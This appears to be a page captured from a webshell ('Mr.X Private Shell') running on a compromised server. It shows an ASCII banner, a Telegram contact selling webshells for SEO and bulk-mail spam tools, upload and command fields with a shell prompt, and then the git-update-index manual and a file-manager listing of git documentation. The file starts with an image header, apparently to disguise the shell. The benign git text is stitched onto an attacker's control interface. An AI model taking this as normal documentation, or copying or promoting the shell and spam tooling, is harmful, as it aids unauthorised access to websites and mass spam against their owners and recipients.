����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
git-update-index(1)
===================

NAME
----
git-update-index - Register file contents in the working tree to the index


SYNOPSIS
--------
[verse]
'git update-index'
	     [--add] [--remove | --force-remove] [--replace]
	     [--refresh] [-q] [--unmerged] [--ignore-missing]
	     [(--cacheinfo <mode>,<object>,<file>)...]
	     [--chmod=(+|-)x]
	     [--[no-]assume-unchanged]
	     [--[no-]skip-worktree]
	     [--[no-]ignore-skip-worktree-entries]
	     [--[no-]fsmonitor-valid]
	     [--ignore-submodules]
	     [--[no-]split-index]
	     [--[no-|test-|force-]untracked-cache]
	     [--[no-]fsmonitor]
	     [--really-refresh] [--unresolve] [--again | -g]
	     [--info-only] [--index-info]
	     [-z] [--stdin] [--index-version <n>]
	     [--show-index-version]
	     [--verbose]
	     [--] [<file>...]

DESCRIPTION
-----------
Modifies the index. Each file mentioned is updated into the index and
any 'unmerged' or 'needs updating' state is cleared.

See also linkgit:git-add[1] for a more user-friendly way to do some of
the most common operations on the index.

The way 'git update-index' handles files it is told about can be modified
using the various options:

OPTIONS
-------
--add::
	If a specified file isn't in the index already then it's
	added.
	Default behaviour is to ignore new files.

--remove::
	If a specified file is in the index but is missing then it's
	removed.
	Default behavior is to ignore removed files.

--refresh::
	Looks at the current index and checks to see if merges or
	updates are needed by checking stat() information.

-q::
        Quiet.  If --refresh finds that the index needs an update, the
        default behavior is to error out.  This option makes
	'git update-index' continue anyway.

--ignore-submodules::
	Do not try to update submodules.  This option is only respected
	when passed before --refresh.

--unmerged::
        If --refresh finds unmerged changes in the index, the default
	behavior is to error out.  This option makes 'git update-index'
        continue anyway.

--ignore-missing::
	Ignores missing files during a --refresh

--cacheinfo <mode>,<object>,<path>::
--cacheinfo <mode> <object> <path>::
	Directly insert the specified info into the index.  For
	backward compatibility, you can also give these three
	arguments as three separate parameters, but new users are
	encouraged to use a single-parameter form.

--index-info::
        Read index information from stdin.

--chmod=(+|-)x::
        Set the execute permissions on the updated files.

--assume-unchanged::
--no-assume-unchanged::
	When this flag is specified, the object names recorded
	for the paths are not updated.  Instead, this option
	sets/unsets the "assume unchanged" bit for the
	paths.  When the "assume unchanged" bit is on, the user
	promises not to change the file and allows Git to assume
	that the working tree file matches what is recorded in
	the index.  If you want to change the working tree file,
	you need to unset the bit to tell Git.  This is
	sometimes helpful when working with a big project on a
	filesystem that has a very slow lstat(2) system call
	(e.g. cifs).
+
Git will fail (gracefully) in case it needs to modify this file
in the index e.g. when merging in a commit;
thus, in case the assumed-untracked file is changed upstream,
you will need to handle the situation manually.

--really-refresh::
	Like `--refresh`, but checks stat information unconditionally,
	without regard to the "assume unchanged" setting.

--skip-worktree::
--no-skip-worktree::
	When one of these flags is specified, the object names recorded
	for the paths are not updated. Instead, these options
	set and unset the "skip-worktree" bit for the paths. See
	section "Skip-worktree bit" below for more information.


--ignore-skip-worktree-entries::
--no-ignore-skip-worktree-entries::
	Do not remove skip-worktree (AKA "index-only") entries even when
	the `--remove` option was specified.

--fsmonitor-valid::
--no-fsmonitor-valid::
	When one of these flags is specified, the object names recorded
	for the paths are not updated. Instead, these options
	set and unset the "fsmonitor valid" bit for the paths. See
	section "File System Monitor" below for more information.

-g::
--again::
	Runs 'git update-index' itself on the paths whose index
	entries are different from those of the `HEAD` commit.

--unresolve::
	Restores the 'unmerged' or 'needs updating' state of a
	file during a merge if it was cleared by accident.

--info-only::
	Do not create objects in the object database for all
	<file> arguments that follow this flag; just insert
	their object IDs into the index.

--force-remove::
	Remove the file from the index even when the working directory
	still has such a file. (Implies --remove.)

--replace::
	By default, when a file `path` exists in the index,
	'git update-index' refuses an attempt to add `path/file`.
	Similarly if a file `path/file` exists, a file `path`
	cannot be added.  With --replace flag, existing entries
	that conflict with the entry being added are
	automatically removed with warning messages.

--stdin::
	Instead of taking a list of paths from the command line,
	read a list of paths from the standard input.  Paths are
	separated by LF (i.e. one path per line) by default.

--verbose::
	Report what is being added and removed from the index.

--index-version <n>::
	Write the resulting index out in the named on-disk format version.
	Supported versions are 2, 3, and 4. The current default version is 2
	or 3, depending on whether extra features are used, such as
	`git add -N`.  With `--verbose`, also report the version the index
	file uses before and after this command.
+
Version 4 performs a simple pathname compression that reduces index
size by 30%-50% on large repositories, which results in faster load
time.  Git supports it since version 1.8.0, released in October 2012,
and support for it was added to libgit2 in 2016 and to JGit in 2020.
Older versions of this manual page called it "relatively young", but
it should be considered mature technology these days.

--show-index-version::
	Report the index format version used by the on-disk index file.
	See `--index-version` above.

-z::
	Only meaningful with `--stdin` or `--index-info`; paths are
	separated with NUL character instead of LF.

--split-index::
--no-split-index::
	Enable or disable split index mode. If split-index mode is
	already enabled and `--split-index` is given again, all
	changes in $GIT_DIR/index are pushed back to the shared index
	file.
+
These options take effect whatever the value of the `core.splitIndex`
configuration variable (see linkgit:git-config[1]). But a warning is
emitted when the change goes against the configured value, as the
configured value will take effect next time the index is read and this
will remove the intended effect of the option.

--untracked-cache::
--no-untracked-cache::
	Enable or disable untracked cache feature. Please use
	`--test-untracked-cache` before enabling it.
+
These options take effect whatever the value of the `core.untrackedCache`
configuration variable (see linkgit:git-config[1]). But a warning is
emitted when the change goes against the configured value, as the
configured value will take effect next time the index is read and this
will remove the intended effect of the option.

--test-untracked-cache::
	Only perform tests on the working directory to make sure
	untracked cache can be used. You have to manually enable
	untracked cache using `--untracked-cache` or
	`--force-untracked-cache` or the `core.untrackedCache`
	configuration variable afterwards if you really want to use
	it. If a test fails the exit code is 1 and a message
	explains what is not working as needed, otherwise the exit
	code is 0 and OK is printed.

--force-untracked-cache::
	Same as `--untracked-cache`. Provided for backwards
	compatibility with older versions of Git where
	`--untracked-cache` used to imply `--test-untracked-cache` but
	this option would enable the extension unconditionally.

--fsmonitor::
--no-fsmonitor::
	Enable or disable files system monitor feature. These options
	take effect whatever the value of the `core.fsmonitor`
	configuration variable (see linkgit:git-config[1]). But a warning
	is emitted when the change goes against the configured value, as
	the configured value will take effect next time the index is
	read and this will remove the intended effect of the option.

\--::
	Do not interpret any more arguments as options.

<file>::
	Files to act on.
	Note that files beginning with '.' are discarded. This includes
	`./file` and `dir/./file`. If you don't want this, then use
	cleaner names.
	The same applies to directories ending '/' and paths with '//'

USING --REFRESH
---------------
`--refresh` does not calculate a new sha1 file or bring the index
up to date for mode/content changes. But what it *does* do is to
"re-match" the stat information of a file with the index, so that you
can refresh the index for a file that hasn't been changed but where
the stat entry is out of date.

For example, you'd want to do this after doing a 'git read-tree', to link
up the stat index details with the proper files.

USING --CACHEINFO OR --INFO-ONLY
--------------------------------
`--cacheinfo` is used to register a file that is not in the
current working directory.  This is useful for minimum-checkout
merging.

To pretend you have a file at path with mode and sha1, say:

----------------
$ git update-index --add --cacheinfo <mode>,<sha1>,<path>
----------------

`--info-only` is used to register files without placing them in the object
database.  This is useful for status-only repositories.

Both `--cacheinfo` and `--info-only` behave similarly: the index is updated
but the object database isn't.  `--cacheinfo` is useful when the object is
in the database but the file isn't available locally.  `--info-only` is
useful when the file is available, but you do not wish to update the
object database.


USING --INDEX-INFO
------------------

`--index-info` is a more powerful mechanism that lets you feed
multiple entry definitions from the standard input, and designed
specifically for scripts.  It can take inputs of three formats:

    . mode SP type SP sha1          TAB path
+
This format is to stuff `git ls-tree` output into the index.

    . mode         SP sha1 SP stage TAB path
+
This format is to put higher order stages into the
index file and matches 'git ls-files --stage' output.

    . mode         SP sha1          TAB path
+
This format is no longer produced by any Git command, but is
and will continue to be supported by `update-index --index-info`.

To place a higher stage entry to the index, the path should
first be removed by feeding a mode=0 entry for the path, and
then feeding necessary input lines in the third format.

For example, starting with this index:

------------
$ git ls-files -s
100644 8a1218a1024a212bb3db30becd860315f9f3ac52 0       frotz
------------

you can feed the following input to `--index-info`:

------------
$ git update-index --index-info
0 0000000000000000000000000000000000000000	frotz
100644 8a1218a1024a212bb3db30becd860315f9f3ac52 1	frotz
100755 8a1218a1024a212bb3db30becd860315f9f3ac52 2	frotz
------------

The first line of the input feeds 0 as the mode to remove the
path; the SHA-1 does not matter as long as it is well formatted.
Then the second and third line feeds stage 1 and stage 2 entries
for that path.  After the above, we would end up with this:

------------
$ git ls-files -s
100644 8a1218a1024a212bb3db30becd860315f9f3ac52 1	frotz
100755 8a1218a1024a212bb3db30becd860315f9f3ac52 2	frotz
------------


USING ``ASSUME UNCHANGED'' BIT
------------------------------

Many operations in Git depend on your filesystem to have an
efficient `lstat(2)` implementation, so that `st_mtime`
information for working tree files can be cheaply checked to see
if the file contents have changed from the version recorded in
the index file.  Unfortunately, some filesystems have
inefficient `lstat(2)`.  If your filesystem is one of them, you
can set "assume unchanged" bit to paths you have not changed to
cause Git not to do this check.  Note that setting this bit on a
path does not mean Git will check the contents of the file to
see if it has changed -- it makes Git to omit any checking and
assume it has *not* changed.  When you make changes to working
tree files, you have to explicitly tell Git about it by dropping
"assume unchanged" bit, either before or after you modify them.

In order to set "assume unchanged" bit, use `--assume-unchanged`
option.  To unset, use `--no-assume-unchanged`. To see which files
have the "assume unchanged" bit set, use `git ls-files -v`
(see linkgit:git-ls-files[1]).

The command looks at `core.ignorestat` configuration variable.  When
this is true, paths updated with `git update-index paths...` and
paths updated with other Git commands that update both index and
working tree (e.g. 'git apply --index', 'git checkout-index -u',
and 'git read-tree -u') are automatically marked as "assume
unchanged".  Note that "assume unchanged" bit is *not* set if
`git update-index --refresh` finds the working tree file matches
the index (use `git update-index --really-refresh` if you want
to mark them as "assume unchanged").

Sometimes users confuse the assume-unchanged bit with the
skip-worktree bit.  See the final paragraph in the "Skip-worktree bit"
section below for an explanation of the differences.


EXAMPLES
--------
To update and refresh only the files already checked out:

----------------
$ git checkout-index -n -f -a && git update-index --ignore-missing --refresh
----------------

On an inefficient filesystem with `core.ignorestat` set::
+
------------
$ git update-index --really-refresh              <1>
$ git update-index --no-assume-unchanged foo.c   <2>
$ git diff --name-only                           <3>
$ edit foo.c
$ git diff --name-only                           <4>
M foo.c
$ git update-index foo.c                         <5>
$ git diff --name-only                           <6>
$ edit foo.c
$ git diff --name-only                           <7>
$ git update-index --no-assume-unchanged foo.c   <8>
$ git diff --name-only                           <9>
M foo.c
------------
+
<1> forces lstat(2) to set "assume unchanged" bits for paths that match index.
<2> mark the path to be edited.
<3> this does lstat(2) and finds index matches the path.
<4> this does lstat(2) and finds index does *not* match the path.
<5> registering the new version to index sets "assume unchanged" bit.
<6> and it is assumed unchanged.
<7> even after you edit it.
<8> you can tell about the change after the fact.
<9> now it checks with lstat(2) and finds it has been changed.


SKIP-WORKTREE BIT
-----------------

Skip-worktree bit can be defined in one (long) sentence: Tell git to
avoid writing the file to the working directory when reasonably
possible, and treat the file as unchanged when it is not
present in the working directory.

Note that not all git commands will pay attention to this bit, and
some only partially support it.

The update-index flags and the read-tree capabilities relating to the
skip-worktree bit predated the introduction of the
linkgit:git-sparse-checkout[1] command, which provides a much easier
way to configure and handle the skip-worktree bits.  If you want to
reduce your working tree to only deal with a subset of the files in
the repository, we strongly encourage the use of
linkgit:git-sparse-checkout[1] in preference to the low-level
update-index and read-tree primitives.

The primary purpose of the skip-worktree bit is to enable sparse
checkouts, i.e. to have working directories with only a subset of
paths present.  When the skip-worktree bit is set, Git commands (such
as `switch`, `pull`, `merge`) will avoid writing these files.
However, these commands will sometimes write these files anyway in
important cases such as conflicts during a merge or rebase.  Git
commands will also avoid treating the lack of such files as an
intentional deletion; for example `git add -u` will not stage a
deletion for these files and `git commit -a` will not make a commit
deleting them either.

Although this bit looks similar to assume-unchanged bit, its goal is
different.  The assume-unchanged bit is for leaving the file in the
working tree but having Git omit checking it for changes and presuming
that the file has not been changed (though if it can determine without
stat'ing the file that it has changed, it is free to record the
changes).  skip-worktree tells Git to ignore the absence of the file,
avoid updating it when possible with commands that normally update
much of the working directory (e.g. `checkout`, `switch`, `pull`,
etc.), and not have its absence be recorded in commits.  Note that in
sparse checkouts (setup by `git sparse-checkout` or by configuring
core.sparseCheckout to true), if a file is marked as skip-worktree in
the index but is found in the working tree, Git will clear the
skip-worktree bit for that file.

SPLIT INDEX
-----------

This mode is designed for repositories with very large indexes, and
aims at reducing the time it takes to repeatedly write these indexes.

In this mode, the index is split into two files, $GIT_DIR/index and
$GIT_DIR/sharedindex.<SHA-1>. Changes are accumulated in
$GIT_DIR/index, the split index, while the shared index file contains
all index entries and stays unchanged.

All changes in the split index are pushed back to the shared index
file when the number of entries in the split index reaches a level
specified by the splitIndex.maxPercentChange config variable (see
linkgit:git-config[1]).

Each time a new shared index file is created, the old shared index
files are deleted if their modification time is older than what is
specified by the splitIndex.sharedIndexExpire config variable (see
linkgit:git-config[1]).

To avoid deleting a shared index file that is still used, its
modification time is updated to the current time every time a new split
index based on the shared index file is either created or read from.

UNTRACKED CACHE
---------------

This cache is meant to speed up commands that involve determining
untracked files such as `git status`.

This feature works by recording the mtime of the working tree
directories and then omitting reading directories and stat calls
against files in those directories whose mtime hasn't changed. For
this to work the underlying operating system and file system must
change the `st_mtime` field of directories if files in the directory
are added, modified or deleted.

You can test whether the filesystem supports that with the
`--test-untracked-cache` option. The `--untracked-cache` option used
to implicitly perform that test in older versions of Git, but that's
no longer the case.

If you want to enable (or disable) this feature, it is easier to use
the `core.untrackedCache` configuration variable (see
linkgit:git-config[1]) than using the `--untracked-cache` option to
`git update-index` in each repository, especially if you want to do so
across all repositories you use, because you can set the configuration
variable to `true` (or `false`) in your `$HOME/.gitconfig` just once
and have it affect all repositories you touch.

When the `core.untrackedCache` configuration variable is changed, the
untracked cache is added to or removed from the index the next time a
command reads the index; while when `--[no-|force-]untracked-cache`
are used, the untracked cache is immediately added to or removed from
the index.

Before 2.17, the untracked cache had a bug where replacing a directory
with a symlink to another directory could cause it to incorrectly show
files tracked by git as untracked. See the "status: add a failing test
showing a core.untrackedCache bug" commit to git.git. A workaround for
that is (and this might work for other undiscovered bugs in the
future):

----------------
$ git -c core.untrackedCache=false status
----------------

This bug has also been shown to affect non-symlink cases of replacing
a directory with a file when it comes to the internal structures of
the untracked cache, but no case has been reported where this resulted in
wrong "git status" output.

There are also cases where existing indexes written by git versions
before 2.17 will reference directories that don't exist anymore,
potentially causing many "could not open directory" warnings to be
printed on "git status". These are new warnings for existing issues
that were previously silently discarded.

As with the bug described above the solution is to one-off do a "git
status" run with `core.untrackedCache=false` to flush out the leftover
bad data.

FILE SYSTEM MONITOR
-------------------

This feature is intended to speed up git operations for repos that have
large working directories.

It enables git to work together with a file system monitor (see
linkgit:git-fsmonitor{litdd}daemon[1]
and the
"fsmonitor-watchman" section of linkgit:githooks[5]) that can
inform it as to what files have been modified. This enables git to avoid
having to lstat() every file to find modified files.

When used in conjunction with the untracked cache, it can further improve
performance by avoiding the cost of scanning the entire working directory
looking for new files.

If you want to enable (or disable) this feature, it is easier to use
the `core.fsmonitor` configuration variable (see
linkgit:git-config[1]) than using the `--fsmonitor` option to `git
update-index` in each repository, especially if you want to do so
across all repositories you use, because you can set the configuration
variable in your `$HOME/.gitconfig` just once and have it affect all
repositories you touch.

When the `core.fsmonitor` configuration variable is changed, the
file system monitor is added to or removed from the index the next time
a command reads the index. When `--[no-]fsmonitor` are used, the file
system monitor is immediately added to or removed from the index.

CONFIGURATION
-------------

The command honors `core.filemode` configuration variable.  If
your repository is on a filesystem whose executable bits are
unreliable, this should be set to 'false' (see linkgit:git-config[1]).
This causes the command to ignore differences in file modes recorded
in the index and the file mode on the filesystem if they differ only on
executable bit.   On such an unfortunate filesystem, you may
need to use 'git update-index --chmod='.

Quite similarly, if `core.symlinks` configuration variable is set
to 'false' (see linkgit:git-config[1]), symbolic links are checked out
as plain files, and this command does not modify a recorded file mode
from symbolic link to regular file.

The command looks at `core.ignorestat` configuration variable.  See
'Using "assume unchanged" bit' section above.

The command also looks at `core.trustctime` configuration variable.
It can be useful when the inode change time is regularly modified by
something outside Git (file system crawlers and backup systems use
ctime for marking files processed) (see linkgit:git-config[1]).

The untracked cache extension can be enabled by the
`core.untrackedCache` configuration variable (see
linkgit:git-config[1]).

NOTES
-----

Users often try to use the assume-unchanged and skip-worktree bits
to tell Git to ignore changes to files that are tracked.  This does not
work as expected, since Git may still check working tree files against
the index when performing certain operations.  In general, Git does not
provide a way to ignore changes to tracked files, so alternate solutions
are recommended.

For example, if the file you want to change is some sort of config file,
the repository can include a sample config file that can then be copied
into the ignored name and modified.  The repository can even include a
script to treat the sample file as a template, modifying and copying it
automatically.

SEE ALSO
--------
linkgit:git-config[1],
linkgit:git-add[1],
linkgit:git-ls-files[1]

GIT
---
Part of the linkgit:git[1] suite

Filemanager

Name Type Size Permission Actions
RelNotes Folder 0755
contrib Folder 0755
howto Folder 0755
technical Folder 0755
BreakingChanges.adoc File 16.64 KB 0644
BreakingChanges.html File 49.87 KB 0644
CODE_OF_CONDUCT.md File 5.85 KB 0644
DecisionMaking.adoc File 3.77 KB 0644
DecisionMaking.html File 34.35 KB 0644
MyFirstContribution.adoc File 55.2 KB 0644
MyFirstContribution.html File 106.17 KB 0644
MyFirstObjectWalk.adoc File 28.88 KB 0644
MyFirstObjectWalk.html File 73.09 KB 0644
README.md File 3.58 KB 0644
ReviewingGuidelines.adoc File 8.69 KB 0644
ReviewingGuidelines.html File 40.35 KB 0644
SubmittingPatches.adoc File 38.07 KB 0644
SubmittingPatches.html File 78.92 KB 0644
ToolsForGit.adoc File 1.32 KB 0644
ToolsForGit.html File 32.47 KB 0644
blame-options.adoc File 5.96 KB 0644
cmds-ancillaryinterrogators.adoc File 1.26 KB 0644
cmds-ancillarymanipulators.adoc File 796 B 0644
cmds-developerinterfaces.adoc File 678 B 0644
cmds-foreignscminterface.adoc File 399 B 0644
cmds-guide.adoc File 833 B 0644
cmds-mainporcelain.adoc File 3.01 KB 0644
cmds-plumbinginterrogators.adoc File 1.73 KB 0644
cmds-plumbingmanipulators.adoc File 1.47 KB 0644
cmds-purehelpers.adoc File 1.24 KB 0644
cmds-synchelpers.adoc File 449 B 0644
cmds-synchingrepositories.adoc File 397 B 0644
cmds-userinterfaces.adoc File 507 B 0644
config.adoc File 18.27 KB 0644
date-formats.adoc File 1.14 KB 0644
diff-context-options.adoc File 372 B 0644
diff-format.adoc File 6.44 KB 0644
diff-generate-patch.adoc File 7.02 KB 0644
diff-options.adoc File 33.21 KB 0644
docbook-xsl.css File 4.45 KB 0644
docinfo.html File 50 B 0644
everyday.html File 30.27 KB 0644
fetch-options.adoc File 12.36 KB 0644
for-each-ref-options.adoc File 3.02 KB 0644
fsck-msgids.adoc File 6.37 KB 0644
git-add.adoc File 15.64 KB 0644
git-add.html File 53.06 KB 0644
git-am.adoc File 9.39 KB 0644
git-am.html File 45.37 KB 0644
git-annotate.adoc File 772 B 0644
git-annotate.html File 40.83 KB 0644
git-apply.adoc File 10.89 KB 0644
git-apply.html File 45.13 KB 0644
git-archive.adoc File 8.27 KB 0644
git-archive.html File 42.43 KB 0644
git-backfill.adoc File 2.52 KB 0644
git-backfill.html File 33.77 KB 0644
git-bisect-lk2009.adoc File 48.53 KB 0644
git-bisect-lk2009.html File 91.41 KB 0644
git-bisect.adoc File 17.77 KB 0644
git-bisect.html File 53.82 KB 0644
git-blame.adoc File 8.66 KB 0644
git-blame.html File 53.85 KB 0644
git-branch.adoc File 15.67 KB 0644
git-branch.html File 62.71 KB 0644
git-bugreport.adoc File 2.51 KB 0644
git-bugreport.html File 33.75 KB 0644
git-bundle.adoc File 13 KB 0644
git-bundle.html File 47.71 KB 0644
git-cat-file.adoc File 14.66 KB 0644
git-cat-file.html File 51.94 KB 0644
git-check-attr.adoc File 3.32 KB 0644
git-check-attr.html File 35.31 KB 0644
git-check-ignore.adoc File 4.06 KB 0644
git-check-ignore.html File 36.04 KB 0644
git-check-mailmap.adoc File 1.54 KB 0644
git-check-mailmap.html File 32.63 KB 0644
git-check-ref-format.adoc File 4.93 KB 0644
git-check-ref-format.html File 36.9 KB 0644
git-checkout-index.adoc File 5.54 KB 0644
git-checkout-index.html File 38 KB 0644
git-checkout.adoc File 21.72 KB 0644
git-checkout.html File 66.35 KB 0644
git-cherry-pick.adoc File 8.97 KB 0644
git-cherry-pick.html File 43.87 KB 0644
git-cherry.adoc File 3.53 KB 0644
git-cherry.html File 35.42 KB 0644
git-clean.adoc File 4.63 KB 0644
git-clean.html File 36.81 KB 0644
git-clone.adoc File 15.88 KB 0644
git-clone.html File 60.38 KB 0644
git-column.adoc File 2.15 KB 0644
git-column.html File 35.98 KB 0644
git-commit-graph.adoc File 5.89 KB 0644
git-commit-graph.html File 41.03 KB 0644
git-commit-tree.adoc File 2.65 KB 0644
git-commit-tree.html File 39.44 KB 0644
git-commit.adoc File 21.16 KB 0644
git-commit.html File 70.5 KB 0644
git-config.adoc File 20.88 KB 0644
git-config.html File 445.55 KB 0644
git-contacts.adoc File 2.52 KB 0644
git-contacts.html File 33.92 KB 0644
git-count-objects.adoc File 1.35 KB 0644
git-count-objects.html File 32.25 KB 0644
git-credential-cache--daemon.adoc File 891 B 0644
git-credential-cache--daemon.html File 31.46 KB 0644
git-credential-cache.adoc File 3.12 KB 0644
git-credential-cache.html File 34.16 KB 0644
git-credential-store.adoc File 3.55 KB 0644
git-credential-store.html File 35.03 KB 0644
git-credential.adoc File 11.95 KB 0644
git-credential.html File 45.38 KB 0644
git-describe.adoc File 8.12 KB 0644
git-describe.html File 40.6 KB 0644
git-diagnose.adoc File 2.16 KB 0644
git-diagnose.html File 33.22 KB 0644
git-diff-files.adoc File 1.2 KB 0644
git-diff-files.html File 92.09 KB 0644
git-diff-index.adoc File 4.7 KB 0644
git-diff-index.html File 97.13 KB 0644
git-diff-pairs.adoc File 1.96 KB 0644
git-diff-pairs.html File 83.75 KB 0644
git-diff-tree.adoc File 4.09 KB 0644
git-diff-tree.html File 126.96 KB 0644
git-diff.adoc File 8.28 KB 0644
git-diff.html File 119.69 KB 0644
git-difftool.adoc File 4.49 KB 0644
git-difftool.html File 42.05 KB 0644
git-fast-export.adoc File 12.37 KB 0644
git-fast-export.html File 45.54 KB 0644
git-fast-import.adoc File 61.52 KB 0644
git-fast-import.html File 114.47 KB 0644
git-fetch-pack.adoc File 4.14 KB 0644
git-fetch-pack.html File 35.78 KB 0644
git-fetch.adoc File 11.54 KB 0644
git-fetch.html File 88.96 KB 0644
git-filter-branch.adoc File 30.3 KB 0644
git-filter-branch.html File 65.75 KB 0644
git-fmt-merge-msg.adoc File 1.9 KB 0644
git-fmt-merge-msg.html File 34.3 KB 0644
git-for-each-ref.adoc File 15.81 KB 0644
git-for-each-ref.html File 60.05 KB 0644
git-for-each-repo.adoc File 1.9 KB 0644
git-for-each-repo.html File 33.09 KB 0644
git-format-patch.adoc File 29.21 KB 0644
git-format-patch.html File 94.24 KB 0644
git-fsck-objects.adoc File 354 B 0644
git-fsck-objects.html File 30.7 KB 0644
git-fsck.adoc File 5.99 KB 0644
git-fsck.html File 53.52 KB 0644
git-fsmonitor--daemon.adoc File 3.53 KB 0644
git-fsmonitor--daemon.html File 35.9 KB 0644
git-gc.adoc File 6.59 KB 0644
git-gc.html File 49.01 KB 0644
git-get-tar-commit-id.adoc File 753 B 0644
git-get-tar-commit-id.html File 31.12 KB 0644
git-grep.adoc File 11.05 KB 0644
git-grep.html File 47.94 KB 0644
git-hash-object.adoc File 2.09 KB 0644
git-hash-object.html File 32.91 KB 0644
git-help.adoc File 7.35 KB 0644
git-help.html File 40.88 KB 0644
git-hook.adoc File 1 KB 0644
git-hook.html File 31.95 KB 0644
git-http-backend.adoc File 11.36 KB 0644
git-http-backend.html File 43.53 KB 0644
git-http-fetch.adoc File 1.74 KB 0644
git-http-fetch.html File 32.71 KB 0644
git-http-push.adoc File 2.92 KB 0644
git-http-push.html File 34.32 KB 0644
git-imap-send.adoc File 6.46 KB 0644
git-imap-send.html File 42.43 KB 0644
git-index-pack.adoc File 6.15 KB 0644
git-index-pack.html File 38.61 KB 0644
git-init-db.adoc File 409 B 0644
git-init-db.html File 30.76 KB 0644
git-init.adoc File 6.08 KB 0644
git-init.html File 41.3 KB 0644
git-interpret-trailers.adoc File 12.54 KB 0644
git-interpret-trailers.html File 53.71 KB 0644
git-last-modified.adoc File 1.33 KB 0644
git-last-modified.html File 32.41 KB 0644
git-log.adoc File 6.79 KB 0644
git-log.html File 191.76 KB 0644
git-ls-files.adoc File 11.83 KB 0644
git-ls-files.html File 47 KB 0644
git-ls-remote.adoc File 5.01 KB 0644
git-ls-remote.html File 37.24 KB 0644
git-ls-tree.adoc File 5.39 KB 0644
git-ls-tree.html File 38.16 KB 0644
git-mailinfo.adoc File 3.78 KB 0644
git-mailinfo.html File 36.02 KB 0644
git-mailsplit.adoc File 1.31 KB 0644
git-mailsplit.html File 32.31 KB 0644
git-maintenance.adoc File 19.28 KB 0644
git-maintenance.html File 64.48 KB 0644
git-merge-base.adoc File 7.58 KB 0644
git-merge-base.html File 41.4 KB 0644
git-merge-file.adoc File 3.98 KB 0644
git-merge-file.html File 36.22 KB 0644
git-merge-index.adoc File 2.39 KB 0644
git-merge-index.html File 33.51 KB 0644
git-merge-one-file.adoc File 387 B 0644
git-merge-one-file.html File 30.72 KB 0644
git-merge-tree.adoc File 12.62 KB 0644
git-merge-tree.html File 47.06 KB 0644
git-merge.adoc File 14.79 KB 0644
git-merge.html File 83.48 KB 0644
git-mergetool--lib.adoc File 1.43 KB 0644
git-mergetool--lib.html File 32.23 KB 0644
git-mergetool.adoc File 4.41 KB 0644
git-mergetool.html File 53.3 KB 0644
git-mktag.adoc File 1.74 KB 0644
git-mktag.html File 33.01 KB 0644
git-mktree.adoc File 1.05 KB 0644
git-mktree.html File 31.64 KB 0644
git-multi-pack-index.adoc File 5.03 KB 0644
git-multi-pack-index.html File 37 KB 0644
git-mv.adoc File 2.04 KB 0644
git-mv.html File 33.39 KB 0644
git-name-rev.adoc File 3.27 KB 0644
git-name-rev.html File 34.5 KB 0644
git-notes.adoc File 14 KB 0644
git-notes.html File 56.05 KB 0644
git-pack-objects.adoc File 21.46 KB 0644
git-pack-objects.html File 56.16 KB 0644
git-pack-redundant.adoc File 1.83 KB 0644
git-pack-redundant.html File 33.01 KB 0644
git-pack-refs.adoc File 1.66 KB 0644
git-pack-refs.html File 35.09 KB 0644
git-patch-id.adoc File 2.37 KB 0644
git-patch-id.html File 33.47 KB 0644
git-prune-packed.adoc File 946 B 0644
git-prune-packed.html File 31.75 KB 0644
git-prune.adoc File 1.87 KB 0644
git-prune.html File 33.37 KB 0644
git-pull.adoc File 7.7 KB 0644
git-pull.html File 90.41 KB 0644
git-push.adoc File 28.59 KB 0644
git-push.html File 90 KB 0644
git-quiltimport.adoc File 1.65 KB 0644
git-quiltimport.html File 32.57 KB 0644
git-range-diff.adoc File 10.72 KB 0644
git-range-diff.html File 45.43 KB 0644
git-read-tree.adoc File 16.52 KB 0644
git-read-tree.html File 51.16 KB 0644
git-rebase.adoc File 45.65 KB 0644
git-rebase.html File 106.94 KB 0644
git-receive-pack.adoc File 9.98 KB 0644
git-receive-pack.html File 43.53 KB 0644
git-reflog.adoc File 5.52 KB 0644
git-reflog.html File 38.51 KB 0644
git-refs.adoc File 3.22 KB 0644
git-refs.html File 43.37 KB 0644
git-remote-ext.adoc File 3.88 KB 0644
git-remote-ext.html File 35.66 KB 0644
git-remote-fd.adoc File 1.59 KB 0644
git-remote-fd.html File 32.82 KB 0644
git-remote-helpers.html File 30.25 KB 0644
git-remote.adoc File 8.56 KB 0644
git-remote.html File 43.07 KB 0644
git-repack.adoc File 11.2 KB 0644
git-repack.html File 45.04 KB 0644
git-replace.adoc File 5.09 KB 0644
git-replace.html File 37.54 KB 0644
git-replay.adoc File 4.29 KB 0644
git-replay.html File 90.78 KB 0644
git-repo.adoc File 3.36 KB 0644
git-repo.html File 35.99 KB 0644
git-request-pull.adoc File 1.99 KB 0644
git-request-pull.html File 33.35 KB 0644
git-rerere.adoc File 7.6 KB 0644
git-rerere.html File 39.92 KB 0644
git-reset.adoc File 18.78 KB 0644
git-reset.html File 57.85 KB 0644
git-restore.adoc File 6.9 KB 0644
git-restore.html File 41.63 KB 0644
git-rev-list.adoc File 3.15 KB 0644
git-rev-list.html File 129.4 KB 0644
git-rev-parse.adoc File 16.64 KB 0644
git-rev-parse.html File 74.9 KB 0644
git-revert.adoc File 5.3 KB 0644
git-revert.html File 39.11 KB 0644
git-rm.adoc File 7.11 KB 0644
git-rm.html File 40.73 KB 0644
git-send-pack.adoc File 5.05 KB 0644
git-send-pack.html File 37.18 KB 0644
git-sh-i18n--envsubst.adoc File 928 B 0644
git-sh-i18n--envsubst.html File 31.46 KB 0644
git-sh-i18n.adoc File 1.12 KB 0644
git-sh-i18n.html File 31.79 KB 0644
git-sh-setup.adoc File 2.91 KB 0644
git-sh-setup.html File 34.1 KB 0644
git-shell.adoc File 2.91 KB 0644
git-shell.html File 34.49 KB 0644
git-shortlog.adoc File 4.31 KB 0644
git-shortlog.html File 75.95 KB 0644
